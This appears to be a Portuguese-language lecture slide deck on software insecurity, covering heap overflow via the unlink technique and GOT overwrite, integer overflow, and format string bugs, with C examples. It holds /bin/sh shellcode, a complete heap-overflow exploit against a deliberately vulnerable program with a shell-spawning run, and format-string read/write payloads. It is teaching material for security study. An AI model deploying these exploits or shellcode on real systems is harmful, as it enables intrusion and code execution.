WorX Stack Protector ASLR
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowHeap
Área da memória reservada para alocação dinâmica de blocos de memória.
Cada bloco alocado possui um cabeçalho de controle.
Gerenciada e organizada por algorítimos complexos.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowCabeçalho da heap
dados
prev_size
00010000b
00010001b
dados
tam & PREV_INUSE
próximo livre
anterior livre
dados
prev_size
00010000b
00010001b
próximo livre
anterior livre
00010000b
tam
próximo livre
anterior livre
prev_size
size
fd
bk
prev_size
size
fd
bk
prev_size
size
fd
bk
chunk B
chunk A
chunk C
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowCampos do cabeçalho
prev_size: Caso o chunk anterior (fisicamente) esteja livre, contém tamanho deste chunk, caso contrário, é usado como espaço para dados do chunk anterior.
size: tamanho em bytes (múltiplos de 8) do chunk atual. Dois bits menos significativos PREV_INUSE e IS_MMAPPED.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowCampos do cabeçalho
fd: próximo chunk na bin. Caso chunk esteja alocado é usado como área de dados.
bk: chunk anterior na bin. Caso chunk esteja alocado é usado como área de dados.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowOrganização da heap
Chunks livres ficam em uma lista duplamente encadeada chamada bin.
Essa lista é controlada pelos campos fd e bk do cabeçalho.
Há uma bin para cada tamanho de chunk (8, 64, 512, etc).
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowOrganização da heap
Quando free() é chamada em um endereço de memória (área de dados de um chunk), os chunks fisicamente adjacentes são checados a fim de fazer uma fusão gerando um chunk maior.
Assim sendo, o chunk livre tem que ser retirado da bin onde se encontra, e só então a fusão pode acontecer.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowOrganização da heap
#define unlink( P,BK,FD) { \BK = P->bk; \FD = P->fd; \FD->bk = BK; \BK->fd = FD; \
}
unlink() é chamada no chunk.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowOrganização da heap
Controlando fd e bk do chunk P é possível sobrescrever qualquer endereço de memória.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowAlterando terceiro chunk
char payload[] = /*jmp*/"\xeb\x0a”“AAAAAAAAAA”/*shellcode*/"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69""\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd""\x80";
int main (void){int *aux;void (*foo)() = NULL;char *ptr1, *ptr2;
ptr1 = malloc (128);ptr2 = malloc (16);
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowAlterando terceiro chunk
aux = ptr2;*aux = ((char*)&foo) - 12; /* FD 2*/aux++;*aux = payload; /* BK 2*/
aux = ptr2+16;*aux = 0xdefaced; /* prev_size 3*/aux++;*aux = 0xdefaced & ~0x1; /*size 3*/
free (ptr1);if( foo )
foo();}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowAlterando terceiro chunk
fd do segundo chunk recebe o endereço a ser sobrescrito menos 12 (FD->bk = FD+12).
bk recebe valor (comprimento de um ponteiro) a ser colocado no endereço alvo.
O campo size do terceiro chunk recebe um valor qualquer em que o bit PREV_INUSE esteja desativado.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowAlterando terceiro chunk
Quando free() é chamada para desalocar o primeiro chunk, o campo size do terceiro chunk é testado, e como o bit PREV_INUSE está desativado unlink() será chamada no segundo chunk de modo que se possa fazer a junção do primeiro e do segundo.
foo então recebe o endereço de payload. payload+8 (BK->fd = BK+8) recebe endereço de foo menos 12.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowAlterando terceiro chunk
Como são sobrescritos 4 bytes a partir de payload+8 haverão instruções ilegais no meio do shellcode.
[rafael@centos heap]$ ./heap_overflow_ex1sh-3.2$
jmp 0xa dummy shellcode
0xa
payload+8
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowForjando terceiro chunk
char payload[] = /*jmp*/"\xeb\x0a”“AAAAAAAAAA”/*shellcode*/"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69""\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd""\x80";
int main(){int *aux;void (*foo)() = NULL;char *ptr1, *ptr2;
ptr1 = malloc (128);ptr2 = malloc (16);
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowForjando terceiro chunk
aux = ptr2-12;*aux = 0xdefaced & ~0x1; /*size fake 3*/
aux++;*aux = 0xdefaced; /*prev_size 2*/aux++;*aux = -8 | 0x1; /* size 2*/aux++;*aux = ((char*)&foo) - 12; /* FD 2*/aux++;*aux = payload; /* BK 2*/
free (ptr1);if( foo )
foo();}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowForjando terceiro chunk
O terceiro chunk localiza-se na posição (ptr2-8) + *(ptr2-4).
free() entende que o campo size do terceiro chunk localiza-se em (ptr2-12).
Na representação de -8 o bit PREV_INUSE está desativado então unlink() é chamada no chunk 2.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowA técnica
chunk B
0xdefaced
prev_size
00010000b
00010001b
(GOT entry) - 12
shellcode addr
0xdefaced
tam & ~PREV_INUSE
próximo livre
anterior livre
0xdefaced
shellcode
dados
prev_size
00010000b
00010001b
dados
tam & PREV_INUSE
próximo livre
anterior livre
chunk A
chunk C
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowA técnica
O atacante controla o chunk A. Os primeiros 8 bytes correspondem aos campos fd e bk do chunk e serão sobrescritos ao se inserir o chunk na bin.
Shellcode é injetado.
Controlando bk e fd do segundo chunk pode-se sobrescrever qualquer endereço. Basta desabilitar o flag PREV_INUSE do terceiro chunk.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowA técnica
É possível colocar o endereço do payload em qualquer lugar da memória.
Mas como fazer o payload ganhar o controle do eip?
R: GOT
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowA técnica
É através da Global Offset Table que funções de bibliotecas compartilhadas são carregadas dinamicamente.
Chamadas de função fazem referência à GOT. Na primeira vez que uma função é chamada um endereço é alocado para a mesma. Esse endereço é colocado na GOT.
Chamadas subsequentes redirecionam o eip para o endereço encontrado na tabela.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowA técnica
[rafael@centos heap]$ objdump -R heap_overflow_ex2
heap_overflow_ex2: file format elf32-i386
DYNAMIC RELOCATION RECORDSOFFSET TYPE VALUE 080495f0 R_386_GLOB_DAT __gmon_start__08049600 R_386_JUMP_SLOT __gmon_start__08049604 R_386_JUMP_SLOT __libc_start_main08049608 R_386_JUMP_SLOT free0804960c R_386_JUMP_SLOT malloc[rafael@centos heap]$
Sobrescrevendo o endereço 0x08049608 com o endereço de bar(), toda vez que free() for chamada o fluxo será direcionado para o código de bar().
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowPrograma vulnerável
int main( int argc, char * argv[] ){char *first, *second;
if(argc != 2)return;
first = malloc(666);second = malloc(12);
strcpy( first, argv[1] );printf("%s\n", first);
free( first );free( second );
}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowO ataque
#define FUNCTION_POINTER ( 0x08049628 )#define CODE_ADDRESS ( 0x804a008 + 2*4 )char payload[] = /*jmp*/
"\xeb\x0a”“AAAAAAAAAA”/*shellcode*/"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69""\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd""\x80";
int main(){char *p, *argv[] = { "heap_overflow_ex3", buffer, NULL};char buffer[ 680 + 1 ];p = buffer;
*((int*)p) = 0xdefaced; /*FD*/p += 4;*((int*)p) = 0xdefaced; /*BK*/p += 4;(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
Heap OverflowO ataque
memcpy( p, payload, strlen(payload) );p += strlen( payload );memset( p, 'A', (680 - 4*5) - (2*4 + strlen(payload)) );p += ( 680 - 4*5 ) - ( 2*4 + strlen(payload) );
*((int*)p) = 0xdefaced & ~0x1; /*size 3*/p += 4;*((int*)p) = 0xdefaced; /*prev_size 2*/p += 4;*((int*)p) = -8 | 0x1; /*size 2*/p += 4;*((int*)p) = FUNCTION_POINTER - 12; /*FD*/p += 4;*((int*)p) = CODE_ADDRESS; /*BK*/p += 4;*p = '\0';execve(argv[0], argv, NULL);
}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowO ataque
chunk B
dados
prev_size
00010000
00010001
dados
tam & PREV_INUSE
chunk A
chunk C
Fake C
0xdefaced
prev_size
00010000
0xfffffff8
(GOT entry) - 12
shellcode addr
...
tam & PREV_INUSE
0xdefaced
shellcode
0xdefaced
0xdefaced & ~0x1
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap OverflowExecução do ataque
[rafael@centos heap]$ ./exploit_heap_overflow_ex3ë¬ïAAAAAAAAAA1ÀPh//shh/binãPSá1Ò° ÍAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAùÿÿžAAì¬ïsh-3.2$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Agenda
Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória
Stack Overflow Heap Overflow Integer Overflow
Format String Bug Técnicas Modernas
WorX Stack Protector ASLR
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowRepresentação de inteiro
Uma variável tem um valor limite ditado pelo tamanho da mesma na memória. Quando esse valor limite é ultrapassado a variável é zerada, pois foi estourado seu limite físico.
11111111b (255) + 00000001b (1) ------------------
100000000b
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowUnsigned overflow
int main(){int i;unsigned char cont;
cont = 0;for(i = 0; i < 300; i++)
printf("%d\n", cont++);}
...253254255012...
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowRepresentação de inteiro
A representação de números negativos é feita através do complemento de 2.
-4 = (~4)+1 <=> -4 = (~00000100b) + 1b <=> -4 = (11111011b) + 1b <=> -4 = 11111100b
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowRepresentação de inteiro
Uma variável deve especificar se representa valores signed (padrão) ou unsigned.
N bits representando valores unsigned podem assumir os valores [0,2ⁿ - 1].
Representando valores signed o msb é usado para representação de números negativos, logo o intervalo é [-2ⁿ˗¹, 2ⁿ˗¹ - 1].
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowSigned overflow
int main(){int i;char cont;
cont = 0;for(i = 0; i < 300; i++)
printf("%d\n", cont++);}
...125126127-128-127-126...
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowConversões de tipo
Ao se converter um signed de tipo menor para um unsigned de tipo maior ocorre sign extension e um valor negativo passa a ser representado como um valor muito grande.
Ao se converter um signed de tipo menor para um signed de tipo maior ocorre sign extension e os valores são preservados.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowConversões de tipo
Ao se converter um unsigned de tipo menor para um unsigned de tipo maior ocorre zero extension e o valor é preservado.
Ao se converter um tipo maior para um tipo menor ocorre truncamento de bytes e os valores podem ser alterados.
Ao se converter de signed para unsigned de mesmo tipo, a representação de bits não se altera mas o valor é interpretado de maneira diferente.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowTruncamento
int main(void){int i; short s;char c;
c = s = i = 0x41424344;printf("i = 0x%x (%d)\n", i, i);printf("s = 0x%x (%d)\n", s, s);printf("c = 0x%x (%d)\n", c, c);
}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowTruncamento
Ocorre quando um valor é atribuído a uma variável que não tem capacidade para representá-lo completamente. Então os bits mais significativos são descartados.
[rafael@centos integer]$ ./integer_overflow_ex3i = 0x41424344 (1094861636)s = 0x4344 (17220)c = 0x44 (68)[rafael@centos integer]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowSign extension
int main(void){int i; char c;
i = c = (char)0xf0;printf("i = 0x%x (%d)\n", i, i);printf("c = 0x%x (%d)\n", c, c);
i = c = (char)0x70;printf("i = 0x%x (%d)\n", i, i);printf("c = 0x%x (%d)\n", c, c);
}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowSign extension
Ocorre quando um valor signed é convertido para um tipo maior. O valor é copiado, e o bit mais significativo é estendido para os bits não usados.
[rafael@centos integer]$ ./integer_overflow_ex4 i = 0xfffffff0 (-16)c = 0xfffffff0 (-16)i = 0x70 (112)c = 0x70 (112)[rafael@centos integer]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowZero extension
int main(void){int i; unsigned char c;
i = c = (unsigned char)0xf0;printf("i = 0x%x (%d)\n", i, i);printf("c = 0x%x (%d)\n", c, c);
i = c = (unsigned char)0x70;printf("i = 0x%x (%d)\n", i, i);printf("c = 0x%x (%d)\n", c, c);
}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowZero extension
Ocorre quando um valor unsigned é convertido para um tipo maior. O valor é copiado, e ocorre um extensão de zeros para os bits não usados.
[rafael@centos integer]$. ./integer_overflow_ex5 i = 0xf0 (240)c = 0xf0 (240)i = 0x70 (112)c = 0x70 (112)[rafael@centos integer]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowPromoção de inteiros
int main(void){unsigned char x = 10, sub;
if( (x-20) <= -1 )printf("x (%d) é menor que 20\n", x);
elseprintf("x (%d) é maior que 20\n", x);
sub = x-20;if( sub <= -1 )
printf("x (%d) é menor que 20\n", x);else
printf("x (%d) é maior que 20\n", x);}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowPromoção de inteiros
Quando uma operação ocorre sobre uma variável, ela pode ser promovida para atender à expectativa do operador. Geralmente tudo é promovido para o tipo int.
Caso uma operação entre duas variáveis seja realizada, e uma delas é de tipo maior que int, a outra é promovida para esse tipo.
Se o operando unsigned for de tamanho maior ou igual ao do signed, promove-se o operando signed para o tipo do operando unsigned.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowPromoção de inteiros
Se a representação for a mesma (signed ou unsigned), o operando de tipo menor é promovido para o de tipo maior.
Se o operando signed tiver tamanho maior que o operando unsigned e puderem ser preservados os valores, promove-se o operando unsigned para o tipo do operando signed.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowPromoção de inteiros
[rafael@centos integer]$ ./integer_overflow_ex6 x (10) é menor que 20x (10) é maior que 20[rafael@centos integer]$
Se o operador signed tiver tamanho maior que o do operando unsigned, e não puderem ser preservados os valores, promovem-se ambos para unsigned com tipo do operando signed.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowProgramas vulneráveis
#define MAXLEN 8
int main(){int len, n;char buffer[MAXLEN];
scanf("%d\n", &len);if(len > MAXLEN-1){
fprintf(stderr, "tamanho requisitado maior do que o permitido\n"); return 1;
}
if( (n = fread(buffer, 1, len, stdin)) < 0 )return 1;
buffer[n] = '\0';printf("buffer %s", buffer);printf("\n");
}(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowProgramas vulneráveis
[rafael@centos integer]$ ./integer_overflow_ex7-1AAAABBBBCCCCDDDDEEEEFFFFbuffer: AAAABBBBSegmentation fault[rafael@centos integer]$
Como o programa usa fread() para ler da entrada padrão, devemos terminar a entrada com um EOF (ctrl-D).
Na checagem de tamanho, len é um número negativo muito pequeno. Na passagem para fread() é convertido para unsigned, sendo interpretado como um valor muito grande.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowProgramas vulneráveis
#define MAXLEN 200
int main(int argc, char *argv[]){unsigned char len;char buffer[MAXLEN];
if(argc != 2)return 1;
len = strlen(argv[1]);if(len > MAXLEN-1){
fprintf(stderr, "argumento muito longo\n");return 1;
}
strcpy(buffer, argv[1]);printf("%s\n", buffer);
}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowProgramas vulneráveis
[rafael@centos integer]$ ./integer_overflow_ex8 `perl -e 'print "A"x256'`AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASegmentation fault[rafael@centos integer]$
O comando perl passa 256 caracteres “A” como entrada. Esse valor não pode ser representado por len, com isso ocorre o truncamento e len recebe zero de strlen(argv[1]).
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowAntisniff v1.0
A seguinte função faz o parsing de um domínio de dns e copia os dados para nameStr.
Cada palavra do domínio é precedida por 1 byte que indica o tamanho da palavra.
O pacote termina com um byte 0x00, indicando o fim do pacote.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowCódigo do parsing
char *indx;int count;char nameStr[MAX_LEN]; //256...memset(nameStr, '\0', sizeof(nameStr));...indx = (char *)(pkt + rr_offset);count = (char)*indx;
while (count){(char *)indx++;strncat(nameStr, (char *)indx, count);indx += count;
count = (char)*indx;strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr));
}nameStr[strlen(nameStr)-1] = '\0';
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowBuffer não gerenciado
Não é feita nenhuma checagem de tamanho do buffer nameStr, o que possibilita um buffer overflow.
Enquanto count != 0 dados serão escritos no buffer.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowVamos corrigir isso rápido!
char *indx;int count;char nameStr[MAX_LEN]; //256...memset(nameStr, '\0', sizeof(nameStr));...indx = (char *)(pkt + rr_offset);count = (char)*indx;while (count){
if (strlen(nameStr) + count < ( MAX_LEN - 1) ){(char *)indx++;strncat(nameStr, (char *)indx, count);indx += count;count = (char)*indx;strncat(nameStr, ".",sizeof(nameStr) strlen(nameStr));
}else count = 0; } nameStr[strlen(nameStr)-1] = '\0';
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowProblema com Signed extension
count é um signed controlado pelo usuário.
Passando um valor negativo para count esse valor será somado à strlen(nameStr) que é um valor unsigned.
count será promovido para unsigned int e se tornará um valor muito grande, que quando somado à strlen(nameStr) pode gerar um overflow, resultando em um número muito pequeno, passando então pelo teste.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowTempo é dinheiro!
char *indx;int count;char nameStr[MAX_LEN]; //256...memset(nameStr, '\0', sizeof(nameStr));...indx = (char *)(pkt + rr_offset);count = (char)*indx;while (count){
if (strlen(nameStr) + (unsigned int)count < ( MAX_LEN - 1) ){(char *)indx++;strncat(nameStr, (char *)indx, count);indx += count;count = (char)*indx;strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr));
}else count = 0; } nameStr[strlen(nameStr)-1] = '\0';
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowCast inútil
Nada mudou!
Por falta de conhecimento o desenvolvedor achou que quando count fosse negativo algo parecido com isso seria feito:
strlen(nameStr) - ((-1)*count)
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowQuanta manutenção!
unsigned char *indx;unsigned int count;unsigned char nameStr[MAX_LEN]; //256...memset(nameStr, '\0', sizeof(nameStr));...indx = (char *)(pkt + rr_offset);count = (char)*indx;while (count){
if (strlen(nameStr) + count < ( MAX_LEN - 1) ){indx++;strncat(nameStr, indx, count);indx += count;count = *indx;strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr));
}else count = 0; } nameStr[strlen(nameStr)-1] = '\0';
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowProblemas Corrigidos!?
Em count = (char)*indx; o byte que especifica o tamanho da palavra é lido como um unsigned char, através do cast, força-se uma conversão para signed char. Em seguida, ao se atribuir o valor à count ele é convertido para unsigned int, ocorre sign extension e o valor pode ser tratado como um valor muito grande.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Integer OverflowProblemas Corrigidos!?
Porém dessa vez strlen(nameStr) retorna 0 e o código não entra no if.
Na saída do loop um '\0' será colocado em nameStr[-1].
Explorar essa vulnerabilidade é impossível nesse caso, mas em outras aplicações que apresentam a mesma falha pode ser possível tirar vantagem dessa brecha.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Agenda
Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória
Stack Overflow Heap Overflow Integer Overflow
Format String Bug Técnicas Modernas
WorX Stack Protector ASLR
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Format String BugFormat string
É uma string que contém o texto que será escrito no buffer de destino.
Pode conter tags de formatação (%d, %n, %p etc) que serão substituídas pelos parâmetros subsequentes corretamente formatados.
O número de argumentos seguindo uma string de formato tem que ser maior ou igual ao número de tags de formatação.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
printf, fprintf, sprintf, snprintf, vprintf, vfprintf, vsprintf, vsnprintf, syslog.
Funções vulneráveis
Format String Bug(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
Format String BugFuncionamento interno
int main(){int a = 0;char buffer[] = "strings de formato";
printf("E%nste é o exemplo", &a);printf(" %08d de %s\n", a, buffer);printf("O endereço de buffer é: %08p\n", buffer);
}
ebp
espvariáveis locais
ebp salvoret
&aformat string
[rafael@centos format string]$ ./format_string_ex1 Este é o exemplo 00000001 de strings de formatoO endereço de buffer é: 0xbffff4ed[rafael@centos format string]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
%n coloca o número de caracteres escritos até o momento em um ponteiro para inteiro.
%08d fará com que seja copiado para a saída um decimal preenchido com zeros à esquerda até que se complete o tamanho de 8 caracteres.
%08x lê um inteiro e gera saída em hexadecimal com um tamanho de 8 bytes.
Tags de formatação
Format String Bug(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
Format String BugLendo da memória
void func(char *str){printf(str);
}
int main(){char str[] = "%08p%08p%08p%08p%08p%08p%08p\n";
func(str);}
[rafael@centos format string]$ ./format_string_ex2 (nil)0xbffff5080x804842a0xbffff4e6 (nil)0xbffff6f90xb7ee4dae[rafael@centos format string]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Pode-se ler qualquer endereço a partir do ponteiro para a string de formato.
Lendo da memória
Format String Bug
ebp
dummy
ebp func
ret func
0xffea0108
0x80483f6
0x80495d4
string de formato
ret printf
ebp func
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Como os endereços seguintes ao ponteiro para a string de formato podem ser acessados, isso permite que se acesse a própria string de formato, visto que a stack cresce em direção à memória baixa.
Então, codificando um endereço (little endian) de memória diretamente na string de formato é possível ler o endereço apontado pelo mesmo através da tag de formato %s. O problema é que o endereço é tratado como uma string e vai terminar no primeiro NULL encontrado.
Lendo de qualquer lugar da memória
Format String Bug(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
Format String BugLendo de qualquer lugar da memória
int main(){char *ptr, *addr;int i = 0x45444342;char str[] = "AAAA\xff\xff\xff\xff%08x%08x%08x%08x%08x%08x%08x__%s__\n";
addr = (char*)&i;ptr = (char*)&addr;str[4] = *ptr;str[5] = *(ptr+1);str[6] = *(ptr+2);str[7] = *(ptr+3);
printf(str);}
[rafael@centos format string]$ ./format_string_ex3AAAAøôÿ¿00000000000000000000000000000000000000000000000041414141__BCDEøôÿ¿üôÿ¿ õÿ¿xõÿ¿# Æè·# # # xõÿ¿# Æè·__
[rafael@centos format string]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Format String BugEscrevendo na memória
int main(){char *ptr, *addr;int i = 0xaabbccdd;char str[] = "AAAA\xff\xff\xff\xff%08x%08x%08x%08x%08x%08x%08x__%n__\n";
